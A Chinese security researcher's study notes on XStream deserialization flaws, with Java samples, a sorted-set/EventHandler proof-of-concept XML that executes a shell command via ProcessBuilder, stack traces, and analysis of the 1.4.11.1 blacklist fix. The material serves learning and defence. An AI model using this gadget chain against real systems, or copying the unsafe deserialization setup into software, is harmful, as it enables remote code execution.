Skip to content

标题: XStream反序列化学习笔记

创建: 2019-12-04 14:00 更新: 链接: https://scz.617.cn/web/201912041400.txt


目录:

☆ XStream
    1) Customer10Parent.java
    2) Customer10.java
    3) SerializeCustomer10.java
    4) DeserializeCustomer10.java
    5) DeserializeCustomer10Secure.java
    7) 基于sorted-set的PoC(sorted-set.xml)
        7.1) TreeSetConverter
        7.3) DynamicProxyConverter
        7.4) ReflectionConverter
    8) DeserializeUsingXStream.java
    9) ProcessBuilder.start()调用栈回溯
   10) DeserializeUsingXStream1.java
        10.1) xstream-1.4.11.1.jar的修补方案(InternalBlackList)
   11) XStream Converters
        11.1) Person.java
        11.2) Birthday.java
        11.3) BirthdayConverter.java
        11.4) SerializeBirthday.java
        11.5) DeserializeBirthday.java
   12) 基于tree-map的PoC(tree-map.xml)
        12.1) TreeMapConverter
        12.2) ProcessBuilder.start()调用栈回溯
   13) CVE-2013-7285
        13.1) TicketService.xml
        13.2) DeserializeTicketService.java
        13.3) ProcessBuilder.start()调用栈回溯
    14) CVE-2016-0792(XStream+Groovy)
        14.1) map_old.xml
        14.2) map.xml
            14.2.1) ProcessBuilder.start()调用栈回溯
            14.2.2) MapConverter
            14.2.9) 简化版调用关系
        14.3) CVE-2016-0792漏洞利用原理
            14.3.1) 与InternalBlackList无关
        14.4) groovy-all-2.4.9.jar无法利用成功
    15) 基于linked-hash-set的PoC(linked-hash-set.xml)
        15.19) ProcessBuilder.start()调用栈回溯
☆ 参考资源

☆ XStream

参[9]

1) Customer10Parent.java


/ * javac -encoding GBK -g Customer10Parent.java / public class Customer10Parent { private String addr;

public String getAddr()
{
    return( this.addr );
}

public void setAddr ( String addr )
{
    this.addr   = addr;
}

}

2) Customer10.java


/ * javac -encoding GBK -g Customer10.java / public class Customer10 extends Customer10Parent { / * https://x-stream.github.io/tutorial.html * * XStream doesn't care about the visibility of the fields. / private String name; private int age; private int id;

/*
 * XStream does not limit you to having a default constructor.
 */
public Customer10
(
    String  name,
    int     age,
    int     id
)
{
    this.name   = name;
    this.age    = age;
    this.id     = id;
}

/*
 * No getters or setters are needed.
 */
public String getName ()
{
    return( this.name );
}

public void setName ( String name )
{
    this.name   = name;
}

public int getAge ()
{
    return( this.age );
}

public void setAge ( int age )
{
    this.age    = age;
}

public int getId ()
{
    return( this.id );
}

public void setId ( int id )
{
    this.id     = id;
}

}

Customer10Parent、Customer10不需实现Serializable、Externalizable接口,不要 求无参构造函数,不要求set()、get()函数。

3) SerializeCustomer10.java


/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." SerializeCustomer10.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeCustomer10 customer10.xml 0 * java -cp "xstream-1.4.10.jar:." SerializeCustomer10 customer10.xml 1 * java -cp "xstream-1.4.10.jar:." SerializeCustomer10 customer10.xml 2 / import java.io.; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;

public class SerializeCustomer10 { private static XStream GetXStream ( int mode ) { XStream xs;

    switch ( mode )
    {
    case 0 :
        /*
         * 依赖xpp3_min-1.1.4c.jar
         *
         *  xpp3 is a very fast XML pull-parser implementation.
         */
        xs  = new XStream();
        break;
    case 1 :
        /*
         * 不依赖xpp3_min-1.1.4c.jar
         *
         * standard JAXP DOM parser
         */
        xs  = new XStream( new DomDriver() );
        break;
    default:
        /*
         * 不依赖xpp3_min-1.1.4c.jar
         *
         * integrated StAX parser
         */
        xs  = new XStream( new StaxDriver() );
        break;
    }
    return( xs );
}

public static void main ( String[] argv ) throws Exception
{
    Customer10          obj = new Customer10( "yoda", 1024, 9527 );
    obj.setAddr( "<nonexist>" );

    int                 mode    = Integer.parseInt( argv[1] );
    FileOutputStream    fos     = new FileOutputStream( argv[0] );
    XStream             xs      = GetXStream( mode );
    xs.toXML( obj, fos );
    fos.close();
}

}

上例演示了三种初始化XStream实例的方式,第一种依赖xpp3_min-1.1.4c.jar,后两 种不依赖xpp3_min-1.1.4c.jar。

4) DeserializeCustomer10.java


/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeCustomer10.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 2 / import java.io.; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;

public class DeserializeCustomer10 { private static XStream GetXStream ( int mode ) { XStream xs;

    switch ( mode )
    {
    case 0 :
        xs  = new XStream();
        break;
    case 1 :
        xs  = new XStream( new DomDriver() );
        break;
    default:
        xs  = new XStream( new StaxDriver() );
        break;
    }
    return( xs );
}

public static void main ( String[] argv ) throws Exception
{
    int             mode    = Integer.parseInt( argv[1] );
    FileInputStream fis     = new FileInputStream( argv[0] );
    XStream         xs      = GetXStream( mode );
    Customer10      obj     = ( Customer10 )xs.fromXML( fis );
    fis.close();

    System.out.println
    (
        String.format
        (
        "name    = %s\n" +
        "age     = %d\n" +
        "id      = %d\n" +
        "addr    = %s",
        obj.getName(),
        obj.getAge(),
        obj.getId(),
        obj.getAddr()
        )
    );
}

}

上例演示了三种初始化XStream实例的方式,无论用哪种,反序列化时都依赖 xmlpull-1.1.3.1.jar。

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeCustomer10 customer10.xml 0

$ cat customer10.xml <nonexist> yoda 1024 9527

前两种方式生成的customer10.xml一样,第三种方式生成的customer10.xml没有回车 换行,就一行。

$ java -cp "xstream-1.4.10.jar:." SerializeCustomer10 customer10.xml 2

$ cat customer10.xml

nonexistyoda10249527

各种方式产生的customer10.xml,反序列化时可以交叉使用。

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. name = yoda age = 1024 id = 9527 addr =

5) DeserializeCustomer10Secure.java

本例演示如何消除反序列化时的安全告警:

Security framework of XStream not initialized, XStream is probably vulnerable.

GetXStream()演示了安全设置,这是1.4.7开始新增的特性。


/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeCustomer10Secure.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10Secure customer10.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10Secure customer10.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10Secure customer10.xml 2 / import java.io.; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;

public class DeserializeCustomer10Secure { private static XStream GetXStream ( int mode, String[] pattern ) { XStream xs;

    switch ( mode )
    {
    case 0 :
        xs  = new XStream();
        break;
    case 1 :
        xs  = new XStream( new DomDriver() );
        break;
    default:
        xs  = new XStream( new StaxDriver() );
        break;
    }
    /*
     * https://stackoverflow.com/questions/44698296/security-framework-of-xstream-not-initialized-xstream-is-probably-vulnerable
     * http://x-stream.github.io/security.html
     */
    // /*
    //  * clear out existing permissions and set own ones
    //  */
    // xs.addPermission( NoTypePermission.NONE );
    // /*
    //  * allow some basics
    //  */
    // xs.addPermission( NullPermission.NULL );
    // xs.addPermission( PrimitiveTypePermission.PRIMITIVES );
    // xs.addPermission( AnyTypePermission.ANY );
    // xs.addPermission( NoTypePermission.NONE );
    // xs.allowTypeHierarchy( Collection.class );
    /*
     * to be removed after 1.5
     */
    xs.setupDefaultSecurity( xs );
    /*
     * allow any type from the same package
     *
     * xs.allowTypes( new Class[] { a.class, b.class } )
     * xs.allowTypesByRegExp( new String[] { ".*" } )
     * xs.allowTypesByWildcard( new String[] { "com.a.package.*", "com.b.package.*" } )
     */
    xs.allowTypesByWildcard( pattern );
    return( xs );
}

public static void main ( String[] argv ) throws Exception
{
    int             mode    = Integer.parseInt( argv[1] );
    FileInputStream fis     = new FileInputStream( argv[0] );
    /*
     * 只是演示消除安全告警,请根据实际上下文修改之
     *
     * Customer10.class.getPackage().getName() + ".*"
     */
    String[]        pattern = new String[] { "Customer10*" };
    XStream         xs      = GetXStream( mode, pattern );
    Customer10      obj     = ( Customer10 )xs.fromXML( fis );
    fis.close();

    System.out.println
    (
        String.format
        (
        "name    = %s\n" +
        "age     = %d\n" +
        "id      = %d\n" +
        "addr    = %s",
        obj.getName(),
        obj.getAge(),
        obj.getId(),
        obj.getAddr()
        )
    );
}

}

除了allow(),还有deny()可用。

7) 基于sorted-set的PoC(sorted-set.xml)

参[10]

这是别人提供的PoC:


foo java.lang.Comparable /bin/bash -c /bin/touch /tmp/scz_is_here start


根据sorted-set标签找到TreeSetConverter。

dynamic-proxy标签在XStream反序列化之后会得到一个动态代理对象,该对象实现了 interface标签指定的接口"java.lang.Comparable",可以有多个interface标签指定 多个接口;handler标签指定的"java.beans.EventHandler"对应 GeneralInvocationHandler2.java这种角色;通过该动态代理对象调用接口中声明的 方法compareTo()时,就会调用EventHandler.invoke()。

会调用dynamic-proxy.compareTo("foo")。

这个PoC适用于如下版本的XStream:

1.4.5 1.4.6 1.4.10

1.3.1及以下版本不支持sorted-set,所以不受此PoC影响。

XStream解析sorted-set.xml时用到5种Converter。

7.1) TreeSetConverter

http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/collections/TreeSetConverter.html

Converts a java.util.TreeSet to XML, and serializes the associated java.util.Comparator. The converter assumes that the elements in the XML are already sorted according the comparator.

7.3) DynamicProxyConverter

http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.html

Converts a dynamic proxy to XML, storing the implemented interfaces and handler.

7.4) ReflectionConverter

http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/reflection/ReflectionConverter.html http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/reflection/AbstractReflectionConverter.html

8) DeserializeUsingXStream.java


/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeUsingXStream.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 2 / import java.io.; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.; import com.thoughtworks.xstream.security.*;

public class DeserializeUsingXStream { private static XStream GetXStream ( int mode, String[] pattern ) { XStream xs;

    switch ( mode )
    {
    case 0 :
        xs  = new XStream();
        break;
    case 1 :
        xs  = new XStream( new DomDriver() );
        break;
    default:
        xs  = new XStream( new StaxDriver() );
        break;
    }
    xs.setupDefaultSecurity( xs );
    /*
     * xs.addPermission( AnyTypePermission.ANY );
     *
     * 上面这句相当于移除所有安全限制。
     *
     * 下面这句pattern中不要出现".*",否则相当于移除所有安全限制。
     */
    xs.allowTypesByRegExp( pattern );
    return( xs );
}

public static void main ( String[] argv ) throws Exception
{
    int             mode    = Integer.parseInt( argv[1] );
    FileInputStream fis     = new FileInputStream( argv[0] );
    /*
     * 只是演示消除安全告警,实际中务必指定最小pattern
     */
    String[]        pattern = new String[]
    {
    /*
     * Caused by: com.thoughtworks.xstream.security.ForbiddenClassException: java.lang.ProcessBuilder
     */
    "java.lang.ProcessBuilder",
    /*
     * Caused by: com.thoughtworks.xstream.security.ForbiddenClassException: java.beans.EventHandler
     */
    "java.beans.EventHandler",
    /*
     * Caused by: com.thoughtworks.xstream.security.ForbiddenClassException: com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy
     */
    "com.thoughtworks.xstream.mapper.*"
    };
    XStream         xs      = GetXStream( mode, pattern );
    Object          obj     = xs.fromXML( fis );
    fis.close();
}

}

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.UNIXProcess cannot be cast to java.lang.Integer class : java.util.TreeSet required-type : java.util.TreeSet converter-type : com.thoughtworks.xstream.converters.collections.TreeSetConverter path : /sorted-set line number : 16 version : 1.4.10


    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
    at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466)
    at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346)
    at DeserializeUsingXStream.main(DeserializeUsingXStream.java:66)

Caused by: java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer at com.sun.proxy.$Proxy0.compareTo(Unknown Source) at java.util.TreeMap.put(TreeMap.java:568) at java.util.AbstractMap.putAll(AbstractMap.java:281) at java.util.TreeMap.putAll(TreeMap.java:327) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:122) at com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal(TreeSetConverter.java:126) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more

虽然抛出异常,但sorted-set.xml中指定的命令已经得到执行。

$ ls -l /tmp/scz_is_here

DeserializeUsingXStream.java为了消除安全告警,使用了pattern。

Security framework of XStream not initialized, XStream is probably vulnerable.

尽管pattern不是".*",仍然带来一些问题。下面两条命令都会得手:

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 $ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0

9) ProcessBuilder.start()调用栈回溯

$ java -agentlib:jdwp=transport=dt_socket,address=127.0.0.1:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8005

stop in java.lang.ProcessBuilder.start

[1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] sun.reflect.misc.Trampoline.invoke (MethodUtil.java:71), pc = 7 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java:275), pc = 20 [12] java.beans.EventHandler.invokeInternal (EventHandler.java:482), pc = 418 [13] java.beans.EventHandler.access$000 (EventHandler.java:279), pc = 4 [14] java.beans.EventHandler$1.run (EventHandler.java:430), pc = 16 [15] java.security.AccessController.doPrivileged (native method) [16] java.beans.EventHandler.invoke (EventHandler.java:428), pc = 40 // 对应GeneralInvocationHandler2.java [17] com.sun.proxy.$Proxy0.compareTo (null), pc = 16 // 接口java.lang.Comparable中声明了方法compareTo() [18] java.util.TreeMap.put (TreeMap.java:568), pc = 141 [19] java.util.AbstractMap.putAll (AbstractMap.java:281), pc = 44 [20] java.util.TreeMap.putAll (TreeMap.java:327), pc = 101 [21] com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap (TreeMapConverter.java:122), pc = 107 [22] com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal (TreeSetConverter.java:126), pc = 224 [23] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [24] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [25] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [26] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [27] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [28] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [29] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [30] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [31] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [32] DeserializeUsingXStream.main (DeserializeUsingXStream.java:66), pc = 48

调用栈回溯中出现"com.sun.proxy.$Proxy0",这是动态代理机制。

10) DeserializeUsingXStream1.java


/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeUsingXStream1.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 2 / import java.io.; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;

public class DeserializeUsingXStream1 { private static XStream GetXStream ( int mode ) { XStream xs;

    switch ( mode )
    {
    case 0 :
        xs  = new XStream();
        break;
    case 1 :
        xs  = new XStream( new DomDriver() );
        break;
    default:
        xs  = new XStream( new StaxDriver() );
        break;
    }
    /*
     * 不使用标准安全机制,执行时会有安全告警:
     *
     * Security framework of XStream not initialized, XStream is probably vulnerable.
     */
    return( xs );
}

public static void main ( String[] argv ) throws Exception
{
    int             mode    = Integer.parseInt( argv[1] );
    FileInputStream fis     = new FileInputStream( argv[0] );
    XStream         xs      = GetXStream( mode );
    Object          obj     = xs.fromXML( fis );
    fis.close();
}

}

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. ...

$ ls -l /tmp/scz_is_here

DeserializeUsingXStream1.java没有使用标准安全机制,未指定pattern,执行时有 安全告警,但不影响漏洞利用。

xstream-1.4.11.1.jar不存在该漏洞:

$ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected. ---- Debugging information ---- message : Security alert. Unmarshalling rejected. class : java.beans.EventHandler required-type : java.beans.EventHandler converter-type : com.thoughtworks.xstream.XStream$InternalBlackList path : /sorted-set/dynamic-proxy/handler line number : 5 class[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy required-type[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy converter-type[1] : com.thoughtworks.xstream.converters.extended.DynamicProxyConverter class[2] : java.util.TreeSet required-type[2] : java.util.TreeSet converter-type[2] : com.thoughtworks.xstream.converters.collections.TreeSetConverter version : 1.4.11.1


    at com.thoughtworks.xstream.XStream$InternalBlackList.unmarshal(XStream.java:2560)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.converters.extended.DynamicProxyConverter.unmarshal(DynamicProxyConverter.java:127)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem(AbstractCollectionConverter.java:132)
    at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:117)
    at com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection(CollectionConverter.java:98)
    at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:91)
    at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:85)
    at com.thoughtworks.xstream.converters.collections.TreeSetConverter$1.populateMap(TreeSetConverter.java:136)
    at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:116)
    at com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal(TreeSetConverter.java:126)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
    at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1487)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1467)
    at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1347)
    at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)

10.1) xstream-1.4.11.1.jar的修补方案(InternalBlackList)

com.thoughtworks.xstream.XStream$InternalBlackList


private class InternalBlackList implements Converter {

public boolean canConvert(final Class type) {
    return (type == void.class || type == Void.class)
        /*
         * 如果启用了标准安全机制,InternalBlackList.canConvert()返回
         * false,InternalBlackList.unmarshal()没机会执行,内置黑名单
         * 不生效。
         */
        || (!securityInitialized
            && type != null
            && (type.getName().equals("java.beans.EventHandler")
                || type.getName().endsWith("$LazyIterator")
                || type.getName().startsWith("javax.crypto.")));
}

public void marshal(final Object source, final HierarchicalStreamWriter writer,
        final MarshallingContext context) {
    throw new ConversionException("Security alert. Marshalling rejected.");
}

public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) {
    /*
     * 2560行
     */
    throw new ConversionException("Security alert. Unmarshalling rejected.");
}

}

$ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in com.thoughtworks.xstream.XStream$InternalBlackList.canConvert

Eclipse居然断不下来,jdb可以。不过这个断点不好,换一个:

stop at com.thoughtworks.xstream.core.DefaultConverterLookup:77 (1.4.11.1版的行号)

[1] com.thoughtworks.xstream.core.DefaultConverterLookup.lookupConverterForType (DefaultConverterLookup.java:77), pc = 85 [2] com.thoughtworks.xstream.XStream$1.lookupConverterForType (XStream.java:517), pc = 5 [3] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:56), pc = 20 [4] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [5] com.thoughtworks.xstream.converters.extended.DynamicProxyConverter.unmarshal (DynamicProxyConverter.java:127), pc = 197 [6] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [7] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:72), pc = 239 [8] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [9] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [10] com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem (AbstractCollectionConverter.java:132), pc = 14 [11] com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem (AbstractCollectionConverter.java:117), pc = 4 [12] com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection (CollectionConverter.java:98), pc = 4 [13] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:91), pc = 21 [14] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:85), pc = 5 [15] com.thoughtworks.xstream.converters.collections.TreeSetConverter$1.populateMap (TreeSetConverter.java:136), pc = 16 [16] com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap (TreeMapConverter.java:116), pc = 75 [17] com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal (TreeSetConverter.java:126), pc = 224 [18] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [19] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:72), pc = 239 [20] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [21] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [22] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [23] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [24] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,487), pc = 43 [25] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,467), pc = 4 [26] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,347), pc = 12 [27] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25

locals

type = instance of java.lang.Class(reflected class=java.beans.EventHandler, id=1261) converter = instance of com.thoughtworks.xstream.XStream$InternalBlackList(id=1264)

1.4.11.1的黑名单机制有点反直觉。canConvert()中有一些黑名单,如果匹配则返回 true,换句话说,命中黑名单时使用InternalBlackList这个Converter处理序列化、 反序列化;但InternalBlackList的marshal()、unmarshal()都是直接抛异常,于是 命中黑名单时无法序列化、反序列化。

com.thoughtworks.xstream.XStream.setupConverters()


protected void setupConverters() { registerConverter( new ReflectionConverter(mapper, reflectionProvider), PRIORITY_VERY_LOW);

registerConverter(
    new SerializableConverter(mapper, reflectionProvider, classLoaderReference), PRIORITY_LOW);
registerConverter(new ExternalizableConverter(mapper, classLoaderReference), PRIORITY_LOW);
registerConverter(new InternalBlackList(), PRIORITY_LOW);
...
registerConverter(new TreeSetConverter(mapper), PRIORITY_NORMAL);
...
registerConverter(new DynamicProxyConverter(mapper, classLoaderReference), PRIORITY_NORMAL);
...

}

InternalBlackList的优先级PRIORITY_LOW,高于ReflectionConverter的优先级 PRIORITY_VERY_LOW,DefaultConverterLookup.lookupConverterForType()会优先找 到InternalBlackList。当要寻找EventHandler的转换器时,会返回 InternalBlackList。

11) XStream Converters

参看:

http://x-stream.github.io/converter-tutorial.html

11.1) Person.java


/ * javac -encoding GBK -g Person.java / public class Person { private String name;

public Person ()
{
}

public Person ( String name )
{
    this.name   = name;
}

public String getName ()
{
    return( this.name );
}

public void setName ( String name )
{
    this.name   = name;
}

@Override
public String toString ()
{
    return( getName() );
}

}

11.2) Birthday.java


/ * javac -encoding GBK -g Birthday.java / import java.util.*;

public class Birthday { private Person person; private Calendar calendar; private char gender;

public Birthday ()
{
}

public Birthday ( Person person, Calendar calendar, char gender )
{
    this.person     = person;
    this.calendar   = calendar;
    this.gender     = gender;
}

public Person getPerson ()
{
    return( this.person );
}

public void setPerson ( Person person )
{
    this.person     = person;
}

public Calendar getCalendar ()
{
    return( this.calendar );
}

public void setCalendar ( Calendar calendar )
{
    this.calendar   = calendar;
}

public char getGender ()
{
    return( this.gender );
}

public void setGender ( char gender )
{
    this.gender     = gender;
}

}

